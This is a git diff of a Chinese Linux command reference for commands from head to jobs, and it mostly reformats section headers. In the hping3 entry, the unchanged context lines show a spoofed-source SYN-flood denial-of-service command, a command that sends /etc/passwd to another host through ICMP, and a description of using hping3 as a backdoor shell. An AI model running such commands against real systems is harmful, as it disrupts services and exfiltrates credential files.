head(选项)(参数) -q：不显示文件名的头信息。 ``` -### 参数 +### 参数 文件列表：指定显示头部内容的文件列表。 diff --git a/command/help.md b/command/help.md index 3b25830a328..33532582913 100644 --- a/command/help.md +++ b/command/help.md @@ -7,13 +7,13 @@ help **help命令** help命令只能显示bash内建命令的帮助信息，而对于外部命令的帮助信息只能使用man或者info命令查看。 -### 语法 +### 语法 ```shell help(选项)(参数) ``` -### 选项 +### 选项 ```shell -d：显示内建命令的简要描述。 @@ -22,7 +22,7 @@ help(选项)(参数) 不指定选项时：输出的帮助信息类似于-m选项，但是缺少段落名称和'SEE ALSO'，'IMPLEMENTATION'部分。 ``` -### 参数 +### 参数 bash内建命令（可以为多个，请用空格分隔开）。 @@ -65,7 +65,7 @@ Q：我需要获得更多的bash的相关帮助信息 A：限于篇幅和主题，您可以在终端执行 'man bash' ， 'info bash' ，[访问bash官方网站](http://www.gnu.org/software/bash/)，以及搜索引擎等。 -### 实例 +### 实例 使用help命令显示shell内部shopt命令的帮助信息，输入如下命令： diff --git a/command/hexdump.md b/command/hexdump.md index 16901d7b18e..0961111a24a 100644 --- a/command/hexdump.md +++ b/command/hexdump.md @@ -7,13 +7,13 @@ hexdump **hexdump命令** 一般用来查看“二进制”文件的十六进制编码，但实际上它能查看任何文件，而不只限于二进制文件。 -### 语法 +### 语法 ```shell hexdump [选项] [文件]... ``` -### 选项 +### 选项 ```shell -n length 只格式化输入文件的前length个字节。 @@ -47,7 +47,7 @@ hexdump [选项] [文件]... 同一行如果要显示多个格式字符串，则可以跟多个`-e`选项。 -### 实例 +### 实例 ```shell hexdump -e '16/1 "%02X " " | "' -e '16/1 "%_p" "\n"' test diff --git a/command/host.md b/command/host.md index 11e6ac2e2f2..b0f46834d1a 100644 --- a/command/host.md +++ b/command/host.md @@ -7,13 +7,13 @@ host **host命令** 是常用的分析域名查询工具，可以用来测试域名系统工作是否正常。 -### 语法 +### 语法 ```shell host(选项)(参数) ``` -### 选项 +### 选项 ```shell -a：显示详细的DNS信息； @@ -28,11 +28,11 @@ host(选项)(参数) -6：使用IPv6. ``` -### 参数 +### 参数 主机：指定要查询信息的主机信息。 -### 实例 +### 实例 ```shell [root@localhost ~]# host www.jsdig.com diff --git a/command/hostid.md b/command/hostid.md index 612e187a984..3e00ed23251 100644 --- a/command/hostid.md +++ b/command/hostid.md @@ -7,20 +7,20 @@ hostid **hostid命令** 用于打印当前主机的十六进制数字标识。是主机的唯一标识，是被用来限时软件的使用权限，不可改变。 -### 语法 +### 语法 ```shell hostid ``` -### 选项 +### 选项 ```shell --help：显示帮助信息； --version：显示版本信息。 ``` -### 实例 +### 实例 ```shell [root@localhost ~]# hostid diff --git a/command/hping3.md b/command/hping3.md index 100c7227e62..f795272a394 100644 --- a/command/hping3.md +++ b/command/hping3.md @@ -7,7 +7,7 @@ hping3 **hping** 是用于生成和解析TCPIP协议数据包的开源工具。创作者是Salvatore Sanfilippo。目前最新版是hping3，支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分，因此用户可以灵活对目标机进行细致地探测。 -### 安装 +### 安装 ```shell yum install libpcap-devel tc-devel @@ -20,7 +20,7 @@ make make install ``` -### 选项 +### 选项 ```shell -H --help 显示帮助。 @@ -69,11 +69,11 @@ make install -Q --seqnum 搜集序列号的，这对于你分析TCP序列号有很大作用。 ``` -### Hping3功能 +### Hping3功能 Hping3主要有以下典型功能应用： -####  防火墙测试 +### #  防火墙测试 使用Hping3指定各种数据包字段，依次对防火墙进行详细测试。请参考：http://0daysecurity.com/articles/hping3_examples.html @@ -83,7 +83,7 @@ Hping3主要有以下典型功能应用： hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10 ``` -#### 端口扫描 +### # 端口扫描 Hping3也可以对目标端口进行扫描。Hping3支持指定TCP各个标志位、长度等信息。以下示例可用于探测目标机的80端口是否开放： @@ -95,13 +95,13 @@ hping3 -I eth0 -S 192.168.10.1 -p 80 hping3支持非常丰富的端口探测方式，nmap拥有的扫描方式hping3几乎都支持（除开connect方式，因为Hping3仅发送与接收包，不会维护连接，所以不支持connect方式探测）。而且Hping3能够对发送的探测进行更加精细的控制，方便用户微调探测结果。当然，Hping3的端口扫描性能及综合处理能力，无法与Nmap相比。一般使用它仅对少量主机的少量端口进行扫描。 -#### Idle扫描 +### # Idle扫描 Idle扫描（Idle Scanning）是一种匿名扫描远程主机的方式，该方式也是有Hping3的作者Salvatore Sanfilippo发明的，目前Idle扫描在Nmap中也有实现。 该扫描原理是：寻找一台idle主机（该主机没有任何的网络流量，并且IPID是逐个增长的），攻击端主机先向idle主机发送探测包，从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包（此处假设为SYN包），此时如果远程主机的目的端口开放，那么会回复SYN/ACK，此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包，获取其IPID。那么对比两次的IPID值，我们就可以判断远程主机是否回复了数据包，从而间接地推测其端口状态。 -#### 拒绝服务攻击 +### # 拒绝服务攻击 使用Hping3可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接，伪造源地址为192.168.10.99，并使用1000微秒的间隔发送各个SYN包。 @@ -111,7 +111,7 @@ hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000 其他攻击如smurf、teardrop、land attack等也很容易构建出来。 -#### 文件传输 +### # 文件传输 Hping3支持通过TCP/UDP/ICMP等包来进行文件传输。相当于借助TCP/UDP/ICMP包建立隐秘隧道通讯。实现方式是开启监听端口，对检测到的签名（签名为用户指定的字符串）的内容进行相应的解析。在接收端开启服务： @@ -129,7 +129,7 @@ hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd 将`/etc/passwd`密码文件通过ICMP包传给192.168.10.44主机。发送包大小为100字节（-d 100），发送签名为signature(-sign signature)。 -#### 木马功能 +### # 木马功能 如果Hping3能够在远程主机上启动，那么可以作为木马程序启动监听端口，并在建立连接后打开shell通信。与netcat的后门功能类似。 diff --git a/command/htdigest.md b/command/htdigest.md index e98eacadc43..283c3be90a1 100644 --- a/command/htdigest.md +++ b/command/htdigest.md @@ -7,19 +7,19 @@ Apache服务器内置工具 **htdigest命令** 是Apache的Web服务器内置工具，用于创建和更新储存用户名、域和用于摘要认证的密码文件。 -### 语法 +### 语法 ```shell htdigest(选项)(参数) ``` -### 选项 +### 选项 ```shell -c：创建密码文件。 ``` -### 参数 +### 参数 * 密码文件：指定要创建或更新的密码文件； * 域：指定用户名所属的域； diff --git a/command/htop.md b/command/htop.md index 3fcada9ba62..96921370210 100644 --- a/command/htop.md +++ b/command/htop.md @@ -24,7 +24,7 @@ top缺点： htop 官网：http://htop.sourceforge.net/ -### 语法 +### 语法 ```shell htop @@ -42,7 +42,7 @@ htop -v --version 打印版本信息 ``` -### 选项 +### 选项 ```shell h,? F1：查看htop使用说明 diff --git a/command/htpasswd.md b/command/htpasswd.md index f23cff97b57..17944224489 100644 --- a/command/htpasswd.md +++ b/command/htpasswd.md @@ -7,11 +7,11 @@ apache服务器创建密码认证文件 **htpasswd命令** 是Apache的Web服务器内置工具，用于创建和更新储存用户名、域和用户基本认证的密码文件。 -### 语法 +### 语法 -### htpasswd(选项)(参数) +### htpasswd(选项)(参数) -### 选项 +### 选项 ```shell -c：创建一个加密文件； @@ -24,12 +24,12 @@ apache服务器创建密码认证文件 -D：删除指定的用户。 ``` -### 参数 +### 参数 * 用户：要创建或者更新密码的用户名； * 密码：用户的新密码。 -### 实例 +### 实例 **利用htpasswd命令添加用户** diff --git a/command/hwclock.md b/command/hwclock.md index 63b92980b90..352a48b6ad3 100644 --- a/command/hwclock.md +++ b/command/hwclock.md @@ -9,13 +9,13 @@ hwclock 在Linux中有硬件时钟与系统时钟等两种时钟。硬件时钟是指主机板上的时钟设备，也就是通常可在BIOS画面设定的时钟。系统时钟则是指kernel中的时钟。当Linux启动时，系统时钟会去读取硬件时钟的设定，之后系统时钟即独立运作。所有Linux相关指令与函数都是读取系统时钟的设定。 -### 语法 +### 语法 ```shell hwclock(选项) ``` -### 选项 +### 选项 ```shell --adjust：hwclock每次更改硬件时钟时，都会记录在/etc/adjtime文件中。使用--adjust参数，可使hwclock根据先前的记录来估算硬件时钟的偏差，并用来校正目前的硬件时钟； @@ -30,7 +30,7 @@ hwclock(选项) --version：显示版本信息。 ``` -### 实例 +### 实例 设置硬件时间要依赖于操作系统时间，具体方法如下： diff --git a/command/iconv.md b/command/iconv.md index e9924a87cc6..b571be41eac 100644 --- a/command/iconv.md +++ b/command/iconv.md @@ -7,13 +7,13 @@ iconv **iconv命令** 是用来转换文件的编码方式的，比如它可以将UTF8编码的转换成GB18030的编码，反过来也行。JDK中也提供了类似的工具native2ascii。Linux下的iconv开发库包括iconv_open,iconv_close,iconv等C函数，可以用来在C/C++程序中很方便的转换字符编码，这在抓取网页的程序中很有用处，而iconv命令在调试此类程序时用得着。 -### 语法 +### 语法 ```shell iconv -f encoding [-t encoding] [inputfile]... ``` -### 选项 +### 选项 ```shell -f encoding :把字符从encoding编码开始转换。 @@ -26,7 +26,7 @@ iconv -f encoding [-t encoding] [inputfile]... -f和-t所能指定的合法字符在-l选项的命令里面都列出来了。 ``` -### 实例 +### 实例 列出当前支持的字符编码：  diff --git a/command/id.md b/command/id.md index 9514064ec6a..5be436c63b3 100644 --- a/command/id.md +++ b/command/id.md @@ -9,13 +9,13 @@ id 当我们想知道某个用户的UID和GID时id命令是非常有用的。一些程序可能需要UID/GID来运行。id使我们更加容易地找出用户的UID以GID而不必在`/etc/group`文件中搜寻。如往常一样，你可以在控制台输入`man id`进入id的手册页来获取更多的详情。 -### 语法 +### 语法 ```shell id [-gGnru]--[help][--version][用户名称] ``` -### 选项 +### 选项 ```shell -g或--group 　 显示用户所属群组的ID。 @@ -27,7 +27,7 @@ id [-gGnru]--[help][--version][用户名称] -version 　 显示版本信息。 ``` -### 实例 +### 实例 ```shell [root@localhost ~]# id diff --git a/command/ifcfg.md b/command/ifcfg.md index cfe0770c2f4..6bca13923bd 100644 --- a/command/ifcfg.md +++ b/command/ifcfg.md @@ -7,13 +7,13 @@ ifcfg **ifcfg命令** 是一个Bash脚本程序，用来设置Linux中的网络接口参数。 -### 语法 +### 语法 ```shell ifcfg(参数) ``` -### 参数 +### 参数 ```shell 网络接口：指定要操作的网络接口； diff --git a/command/ifconfig.md b/command/ifconfig.md index d22c9a69e34..26aa701f2e6 100644 --- a/command/ifconfig.md +++ b/command/ifconfig.md @@ -7,13 +7,13 @@ ifconfig **ifconfig命令** 被用于配置和显示Linux内核中网络接口的网络参数。用ifconfig命令配置的网卡信息，在网卡重启后机器重启后，配置就不存在。要想将上述的配置信息永远的存的电脑里，那就要修改网卡的配置文件了。 -### 语法 +### 语法 ```shell ifconfig(参数) ``` -### 参数 +### 参数 ```shell add<地址>：设置网络设备IPv6的ip地址； @@ -36,7 +36,7 @@ IP地址：指定网络设备的IP地址； 网络设备：指定网络设备的名称。 ``` -### 实例 +### 实例 **显示网络设备信息（激活状态的）：** diff --git a/command/ifdown.md b/command/ifdown.md index 48969ead45f..ec361537019 100644 --- a/command/ifdown.md +++ b/command/ifdown.md @@ -7,17 +7,17 @@ ifdown **ifdown命令** 用于禁用指定的网络接口。 -### 语法 +### 语法 ```shell ifdown(参数) ``` -### 参数 +### 参数 网络接口：要禁用的网络接口。 -### 实例 +### 实例 ```shell ifdown eth0 #禁用eth0 diff --git a/command/ifstat.md b/command/ifstat.md index 76e21664105..7987f6a123f 100644 --- a/command/ifstat.md +++ b/command/ifstat.md @@ -7,14 +7,14 @@ ifstat **ifstat命令** 就像iostat/vmstat描述其它的系统状况一样，是一个统计网络接口活动状态的工具。ifstat工具系统中并不默认安装，需要自己下载源码包，重新编译安装，使用过程相对比较简单。 -### 下载 +### 下载 ```shell http://gael.roualland.free.fr/ifstat/ （官网） wget http://gael.roualland.free.fr/ifstat/ifstat-1.1.tar.gz ``` -### 编译安装 +### 编译安装 ```shell tar -zxvf ifstat-1.1.tar.gz @@ -26,7 +26,7 @@ make install # 默认会安装到/usr/local/bin/目录中 注释：执行`which ifstat`输出`/usr/local/bin/ifstat` -### 选项 +### 选项 ```shell -l 监测环路网络接口（lo）。缺省情况下，ifstat监测活动的所有非环路网络接口。经使用发现，加上-l参数能监测所有的网络接口的信息，而不是只监测 lo的接口信息，也就是说，加上-l参数比不加-l参数会多一个lo接口的状态信息。 @@ -47,7 +47,7 @@ make install # 默认会安装到/usr/local/bin/目录中 -d 指定一个驱动来收集状态信息 ``` -### 实例 +### 实例 默认使用 diff --git a/command/iftop.md b/command/iftop.md index 017be8255af..61e7b6a279d 100644 --- a/command/iftop.md +++ b/command/iftop.md @@ -7,13 +7,13 @@ iftop **iftop命令** 是一款实时流量监控工具，监控TCP/IP连接等，缺点就是无报表功能。必须以root身份才能运行。 -### 语法 +### 语法 ```shell iftop(选项) ``` -### 选项 +### 选项 ```shell iftop: display bandwidth usage on an interface by host @@ -60,7 +60,7 @@ Synopsis: iftop -h | [-npblNBP] [-i interface] [-f filter code] > 最后三行表示发送，接收和全部的流量， > 第二列为你运行iftop到目前流量，第三列为高峰值，第四列为平均值。 -### 实例 +### 实例 ```shell iftop # 默认是监控第一块网卡的流量 diff --git a/command/ifup.md b/command/ifup.md index ac517a1a757..4a1bb5209f8 100644 --- a/command/ifup.md +++ b/command/ifup.md @@ -7,17 +7,17 @@ ifup **ifup命令** 用于激活指定的网络接口。 -### 语法 +### 语法 ```shell ifup(参数) ``` -### 参数 +### 参数 网络接口：要激活的网络接口。 -### 实例 +### 实例 ```shell ifup eth0 #激活eth0 diff --git a/command/indent.md b/command/indent.md index cdfb6d8b6ca..0a33342490b 100644 --- a/command/indent.md +++ b/command/indent.md @@ -7,7 +7,7 @@ indent **indent命令** 可辨识C的原始代码文件，并加以格式化，以方便程序员阅读、修改等操作。 -### 语法 +### 语法 ```shell indent(选项)(源文件) @@ -15,7 +15,7 @@ indent(选项)(源文件) indent（选项)(源文件)(-o 目标文件) ``` -### 选项 +### 选项 ```shell -bad：在声明区加上空白行； @@ -73,7 +73,7 @@ indent（选项)(源文件)(-o 目标文件) --version：显示版本信息。 ``` -### 实例 +### 实例 使用indent命令将C语言源文件"test.c"中所有的sizeof后面添加一个空格，输入如下命令： diff --git a/command/info.md b/command/info.md index fdad458e49a..97622e4c2a4 100644 --- a/command/info.md +++ b/command/info.md @@ -9,13 +9,13 @@ Linux下info格式的帮助指令 就内容来说，info页面比man page编写得要更好、更容易理解，也更友好，但man page使用起来确实要更容易得多。一个man page只有一页，而info页面几乎总是将它们的内容组织成多个区段（称为节点），每个区段也可能包含子区段（称为子节点）。理解这个命令的窍门就是不仅要学习如何在单独的Info页面中浏览导航，还要学习如何在节点和子节点之间切换。可能刚开始会一时很难在info页面的节点之间移动和找到你要的东西，真是具有讽刺意味：原本以为对于新手来说，某个东西比man命令会更好些，但实际上学习和使用起来更困难。 -### 语法 +### 语法 ```shell info(选项)(参数) ``` -### 选项 +### 选项 ```shell -d：添加包含info格式帮助文档的目录； @@ -24,11 +24,11 @@ info(选项)(参数) -o：输出被选择的节点内容到指定文件。 ``` -### 参数 +### 参数 帮助主题：指定需要获得帮助的主题，可以是指令、函数以及配置文件。 -### 实例 +### 实例 在info后面输入命令的名称就可以查看该命令的info帮助文档了： diff --git a/command/init.md b/command/init.md index 40869415773..0412f279e16 100644 --- a/command/init.md +++ b/command/init.md @@ -7,24 +7,24 @@ init进程是所有Linux进程的父进程 **init命令** 是Linux下的进程初始化工具，init进程是所有Linux进程的父进程，它的进程号为1。init命令是Linux操作系统中不可缺少的程序之一，init进程是Linux内核引导运行的，是系统中的第一个进程。 -### 语法 +### 语法 ```shell init(选项)(参数) ``` -### 选项 +### 选项 ```shell -b：不执行相关脚本而直接进入单用户模式； -s：切换到单用户模式。 ``` -### 参数 +### 参数 运行等级：指定Linux系统要切换到的运行等级。 -### 实例 +### 实例 几个常用的命令 diff --git a/command/inotifywait.md b/command/inotifywait.md index 50393790205..6b8f33639d6 100644 --- a/command/inotifywait.md +++ b/command/inotifywait.md @@ -26,7 +26,7 @@ total 0 -rw-r--r-- 1 root root 0 Jan 4 15:41 max_user_watches ``` -### 安装inotify-tools +### 安装inotify-tools * inotify-tools项目地址：https://github.com/rvoicilas/inotify-tools * inotify-tools下载地址：http://github.com/downloads/rvoicilas/inotify-tools/inotify-tools-3.14.tar.gz @@ -42,7 +42,7 @@ make install 其他Linux发行版安装方法可以参见：https://github.com/rvoicilas/inotify-tools/wiki#wiki-getting -### inotify相关参数 +### inotify相关参数 inotify定义了下列的接口参数，可以用来限制inotify消耗kernel memory的大小。由于这些参数都是内存参数，因此，可以根据应用需求，实时的调节其大小： @@ -69,7 +69,7 @@ inotifywait: error while loading shared libraries: libinotifytools.so.0: cannot 64位系统：ln -s /usr/local/lib/libinotifytools.so.0 /usr/lib64/libinotifytools.so.0 ``` -### inotifywait命令使用 +### inotifywait命令使用 ```shell #!/bin/bash @@ -97,7 +97,7 @@ path=$1 04/01/13/16:35 /data/wsdata/tools/ .j.jsp.swp ``` -### inotifywait命令参数 +### inotifywait命令参数 * `-m`是要持续监视变化。 * `-r`使用递归形式监视目录。 @@ -106,7 +106,7 @@ path=$1 * `--timefmt`是指定时间的输出格式。 * `--format`指定文件变化的详细信息。 -#### 可监听的事件 +### # 可监听的事件 diff --git a/command/insmod.md b/command/insmod.md index 717c5456305..2033ffae47d 100644 --- a/command/insmod.md +++ b/command/insmod.md @@ -7,13 +7,13 @@ insmod **insmod命令** 用于将给定的模块加载到内核中。Linux有许多功能是通过模块的方式，在需要时才载入kernel。如此可使kernel较为精简，进而提高效率，以及保有较大的弹性。这类可载入的模块，通常是设备驱动程序。 -### 语法 +### 语法 ```shell insmod(选项)(参数) ``` -### 选项 +### 选项 ```shell -f：不检查目前kernel版本与模块编译时的kernel版本是否一致，强制将模块载入； @@ -27,11 +27,11 @@ insmod(选项)(参数) -X：汇出模块所有的外部符号，此为预设置。 ``` -### 参数 +### 参数 内核模块：指定要加载的内核模块文件。 -### 实例 +### 实例 加载RAID1阵列级别模块，如下所示： diff --git a/command/install.md b/command/install.md index 565816be513..6976be5109e 100644 --- a/command/install.md +++ b/command/install.md @@ -7,7 +7,7 @@ install **install命令** 的作用是安装或升级软件或备份数据，它的使用权限是所有用户。install命令和cp命令类似，都可以将文件/目录拷贝到指定的地点。但是，install允许你控制目标文件的属性。install通常用于程序的makefile，使用它来将程序拷贝到目标（安装）目录。 -### 语法 +### 语法 ```shell install [OPTION]... [-T] SOURCE DEST @@ -18,7 +18,7 @@ install [OPTION]... -d DIRECTORY... 在前两种格式中，会将<来源>复制至<目的地>或将多个<来源>文件复制至已存在的<目录>，同时设定权限模式及所有者/所属组。在第三种格式中，会创建所有指定的目录及它们的主目录。长选项必须用的参数在使用短选项时也是必须的。 -### 选项 +### 选项 ```shell --backup[=CONTROL]：为每个已存在的目的地文件进行备份。 @@ -37,7 +37,7 @@ install [OPTION]... -d DIRECTORY... --version：显示版本信息并离开。 ``` -### 实例 +### 实例 ```shell install -d [option] DIRECTORY [DIRECTORY...] diff --git a/command/iostat.md b/command/iostat.md index c7c06637e15..f56e2e3610c 100644 --- a/command/iostat.md +++ b/command/iostat.md @@ -7,13 +7,13 @@ iostat **iostat命令** 被用于监视系统输入输出设备和CPU的使用情况。它的特点是汇报磁盘活动统计情况，同时也会汇报出CPU使用情况。同vmstat一样，iostat也有一个弱点，就是它不能对某个进程进行深入分析，仅对系统的整体情况进行分析。 -### 语法 +### 语法 ```shell iostat(选项)(参数) ``` -### 选项 +### 选项 ```shell -c：仅显示CPU使用情况； @@ -26,12 +26,12 @@ iostat(选项)(参数) -x：显示扩展状态。 ``` -### 参数 +### 参数 * 间隔时间：每次报告的间隔时间（秒）； * 次数：显示报告的次数。 -### 实例 +### 实例 用`iostat -x /dev/sda1`来观看磁盘I/O的详细情况： diff --git a/command/iotop.md b/command/iotop.md index 9e30a041994..45a3131d18f 100644 --- a/command/iotop.md +++ b/command/iotop.md @@ -9,7 +9,7 @@ iotop iotop使用Python语言编写而成，要求Python2.5（及以上版本）和Linux kernel2.6.20（及以上版本）。iotop提供有源代码及rpm包，可从其官方主页下载。 -### 安装 +### 安装 **Ubuntu** @@ -32,13 +32,13 @@ python setup.py build python setup.py install ``` -### 语法 +### 语法 ```shell iotop（选项） ``` -### 选项 +### 选项 ```shell -o：只显示有io操作的进程 @@ -58,7 +58,7 @@ iotop（选项） 5. a：显示累积使用量。 6. q：退出。 -### 实例 +### 实例 直接执行iotop就可以看到效果了： diff --git a/command/ip.md b/command/ip.md index aff8a38c07a..d2a3bb87d04 100644 --- a/command/ip.md +++ b/command/ip.md @@ -7,7 +7,7 @@ ip **ip命令** 用来显示或操纵Linux主机的路由、网络设备、策略路由和隧道，是Linux下较新的功能强大的网络配置工具。 -### 语法 +### 语法 ```shell ip(选项)(参数) @@ -15,7 +15,7 @@ Usage: ip [ OPTIONS ] OBJECT { COMMAND | help } ip [ -force ] -batch filename ``` -### 选项 +### 选项 ```shell OBJECT := { link | address | addrlabel | route | rule | neigh | ntable | @@ -31,7 +31,7 @@ OBJECT := { link | address | addrlabel | route | rule | neigh | ntable | -r：显示主机时，不使用IP地址，而使用主机的域名。 ``` -### 参数 +### 参数 ```shell OPTIONS := { -V[ersion] | -s[tatistics] | -d[etails] | -r[esolve] | @@ -47,7 +47,7 @@ OPTIONS := { -V[ersion] | -s[tatistics] | -d[etails] | -r[esolve] | help：显示网络对象支持的操作命令的帮助信息。 ``` -### 实例 +### 实例 ```shellbash ip link show # 显示网络接口信息 diff --git a/command/ip6tables-restore.md b/command/ip6tables-restore.md index 42a651483bc..95cec86ccb9 100644 --- a/command/ip6tables-restore.md +++ b/command/ip6tables-restore.md @@ -7,13 +7,13 @@ ip6tables-restore **ip6tables-restore命令** 用来还原ip6tables表。 -### 语法 +### 语法 ```shell ip6tables-restore(选项) ``` -### 选项 +### 选项 ```shell -c：指定在还原iptables表时，还原当前的数据包计数器和字节计数器值； diff --git a/command/ip6tables-save.md b/command/ip6tables-save.md index 6b1299e039c..cfc79b245ad 100644 --- a/command/ip6tables-save.md +++ b/command/ip6tables-save.md @@ -7,13 +7,13 @@ ip6tables-save **ip6tables-save命令** 将Linux内核中ip6tables表导出到标准输出设备上。 -### 语法 +### 语法 ```shell ip6tables-save(选项) ``` -### 选项 +### 选项 ```shell -c：指定在保存iptables表时，保存当前的数据包计数器和字节计数器值； diff --git a/command/ip6tables.md b/command/ip6tables.md index f1cee16d72e..cc9af6130ec 100644 --- a/command/ip6tables.md +++ b/command/ip6tables.md @@ -7,13 +7,13 @@ linux中防火墙软件 **ip6tables命令** 和iptables一样，都是linux中防火墙软件，不同的是ip6tables采用的TCP/ip协议为IPv6。 -### 语法 +### 语法 ```shell ip6tables(选项) ``` -### 选项 +### 选项 ```shell -t<表>：指定要操纵的表； @@ -35,7 +35,7 @@ ip6tables(选项) -c<计数器>：在执行插入操作（insert），追加操作（append），替换操作（replace）时初始化包计数器和字节计数器。 ``` -### 实例 +### 实例 在命令行窗口输入下面的指令就可以查看当前的 IPv6 防火墙配置： diff --git a/command/ipcalc.md b/command/ipcalc.md index 0880f02c377..c7de84b2cfb 100644 --- a/command/ipcalc.md +++ b/command/ipcalc.md @@ -7,13 +7,13 @@ ipcalc **ipcalc命令** 是一个简单的ip地址计算器，可以完成简单的IP地址计算任务。 -### 语法 +### 语法 ```shell ipcalc(选项) ``` -### 选项 +### 选项 ```shell -b：由给定的IP地址和网络掩码计算出广播地址； @@ -25,7 +25,7 @@ ipcalc(选项) --help：显示帮助信息。 ``` -### 实例 +### 实例 ```shell [root@localhost ~]# ipcalc -p 192.168.2.1 255.255.255.0 diff --git a/command/ipcrm.md b/command/ipcrm.md index 6b351f91b40..c0221d952b8 100644 --- a/command/ipcrm.md +++ b/command/ipcrm.md @@ -7,13 +7,13 @@ ipcrm **ipcrm命令** 用来删除一个或更多的消息队列、信号量集或者共享内存标识。 -### 语法 +### 语法 ```shell ipcrm [ -m SharedMemoryID ] [ -M SharedMemoryKey ] [ -q MessageID ] [ -Q MessageKey ] [ -s SemaphoreID ] [ -S SemaphoreKey ] ``` -### 选项 +### 选项 ```shell -m SharedMemory id 删除共享内存标识 SharedMemoryID。与 SharedMemoryID 有关联的共享内存段以及数据结构都会在最后一次拆离操作后删除。 @@ -26,7 +26,7 @@ ipcrm [ -m SharedMemoryID ] [ -M SharedMemoryKey ] [ -q MessageID ] [ -Q Message msgctl、shmctl 和 semctl 子例程提供了删除操作的细节。标识和关键字可以用 ipcs 命令找到。 -### 示例 +### 示例 如果要删除和 SharedMemoryID 18602 相关的共享内存段，请输入： diff --git a/command/ipcs.md b/command/ipcs.md index e2ccc066c52..79828622250 100644 --- a/command/ipcs.md +++ b/command/ipcs.md @@ -7,13 +7,13 @@ ipcs **ipcs命令** 用于报告Linux中进程间通信设施的状态，显示的信息包括消息列表、共享内存和信号量的信息。 -### 语法 +### 语法 ```shell ipcs(选项) ``` -### 选项 +### 选项 ```shell -a：显示全部可显示的信息； @@ -22,7 +22,7 @@ ipcs(选项) -s：显示活动的信号量信息。 ``` -### 实例 +### 实例 ```shell ipcs -a diff --git a/command/iperf.md b/command/iperf.md index 68724447ea7..7a6541fa1c2 100644 --- a/command/iperf.md +++ b/command/iperf.md @@ -11,7 +11,7 @@ iperf分为两种版本，Unix/Linux版和Windows版，Unix/Linux版更新比较 Linux版本下载地址：http://code.google.com/p/iperf/downloads/list -### 安装iperf +### 安装iperf 对于windows版的iperf，直接将解压出来的iperf.exe和cygwin1.dll复制到%systemroot%目录即可，对于linux版的iperf，请使用如下命令安装： @@ -23,7 +23,7 @@ make make install ``` -### 选项 +### 选项
@@ -189,7 +189,7 @@ $ iperf -c -F
-### 实例 +### 实例 带宽测试通常采用UDP模式，因为能测出极限带宽、时延抖动、丢包率。在进行测试时，首先以链路理论带宽作为数据发送速率进行测试，例如，从客户端到服务器之间的链路的理论带宽为100Mbps，先用`-b 100M`进行测试，然后根据测试结果（包括实际带宽，时延抖动和丢包率），再以实际带宽作为数据发送速率进行测试，会发现时延抖动和丢包率比第一次好很多，重复测试几次，就能得出稳定的实际带宽。 diff --git a/command/iptables-restore.md b/command/iptables-restore.md index 0d117891929..df823ebf569 100644 --- a/command/iptables-restore.md +++ b/command/iptables-restore.md @@ -7,20 +7,20 @@ iptables-restore **iptables-restore命令** 用来还原iptables-save命令所备份的iptables配置。 -### 语法 +### 语法 ```shell iptables-restor(选项) ``` -### 选项 +### 选项 ```shell -c：指定在还原iptables表时候，还原当前的数据包计数器和字节计数器的值； -t：指定要还原表的名称。 ``` -### 实例 +### 实例 ```shell iptables-restor < iptables.bak diff --git a/command/iptables-save.md b/command/iptables-save.md index 2eb7c9c2426..bee2f0a89a5 100644 --- a/command/iptables-save.md +++ b/command/iptables-save.md @@ -7,20 +7,20 @@ iptables-save **iptables-save命令** 用于将linux内核中的iptables表导出到标准输出设备商，通常，使用shell中I/O重定向功能将其输出保存到指定文件中。 -### 语法 +### 语法 ```shell iptables-save(选项) ``` -### 选项 +### 选项 ```shell -c：指定要保存的iptables表时，保存当权的数据包计算器和字节计数器的值； -t：指定要保存的表的名称。 ``` -### 实例 +### 实例 ```shell [root@localhost ~]# iptables-save -t filter > iptables.bak diff --git a/command/iptraf.md b/command/iptraf.md index 52d1cc10522..bbdd738a29a 100644 --- a/command/iptraf.md +++ b/command/iptraf.md @@ -7,13 +7,13 @@ iptraf **iptraf命令** 可以实时地监视网卡流量，可以生成网络协议数据包信息、以太网信息、网络节点状态和ip校验和错误等信息。 -### 语法 +### 语法 ```shell iptraf(选项) ``` -### 选项 +### 选项 ```shell -i网络接口：立即在指定网络接口上开启IP流量监视； diff --git a/command/iptstate.md b/command/iptstate.md index fda00a5e458..842b0c5c367 100644 --- a/command/iptstate.md +++ b/command/iptstate.md @@ -7,13 +7,13 @@ iptstate **iptstate命令** 以top指令类似的风格时显示Linux内核中iptables的工作状态。 -### 语法 +### 语法 ```shell iptstate(选项) ``` -### 选项 +### 选项 ```shell -b：指定输出信息的排序规则； diff --git a/command/ispell.md b/command/ispell.md index 87da5274579..66edfb526e6 100644 --- a/command/ispell.md +++ b/command/ispell.md @@ -7,13 +7,13 @@ ispell **ispell命令** 用于检查文件中出现的拼写错误。 -### 语法 +### 语法 ```shell ispell(参数) ``` -### 参数 +### 参数 文件：指定要进行拼写检查的文件。 diff --git a/command/jed.md b/command/jed.md index a49f61d6b9f..b86ef4e3667 100644 --- a/command/jed.md +++ b/command/jed.md @@ -7,13 +7,13 @@ jed **jed命令** 是由Slang所开发，其主要用用途是编辑程序的源代码。它支持彩色语法加亮显示，可以模拟emacs，EDT，wordstar和Brief编辑器。 -### 语法 +### 语法 ```shell jed(选项)(参数) ``` -### 选项 +### 选项 ```shell -2：显示上下两个编辑区； @@ -25,11 +25,11 @@ jed(选项)(参数) -s<字符串>：查找并移到指定的字符串。 ``` -### 参数 +### 参数 文件：指定待编辑的文件列表。 -### 实例 +### 实例 以上下两个编辑区的方式，开启 mysource.c 原始代码文件。若要切换编辑区，可利用稍后介绍的命令，开启操作命令，开启功能表后，按 3 ，再按 2 ，即可切换编辑区： diff --git a/command/jobs.md b/command/jobs.md index 969899e1a77..22856f1d11d 100644 --- a/command/jobs.md +++ b/command/jobs.md @@ -9,13 +9,13 @@ jobs 在Linux系统中执行某些操作时候，有时需要将当前任务暂停调至后台，或有时须将后台暂停的任务重启开启并调至前台，这一序列的操作将会使用到 jobs、bg、和 fg 三个命令以及两个快捷键来完成。 -### 语法 +### 语法 ```shell jobs(选项)(参数) ``` -### 选项 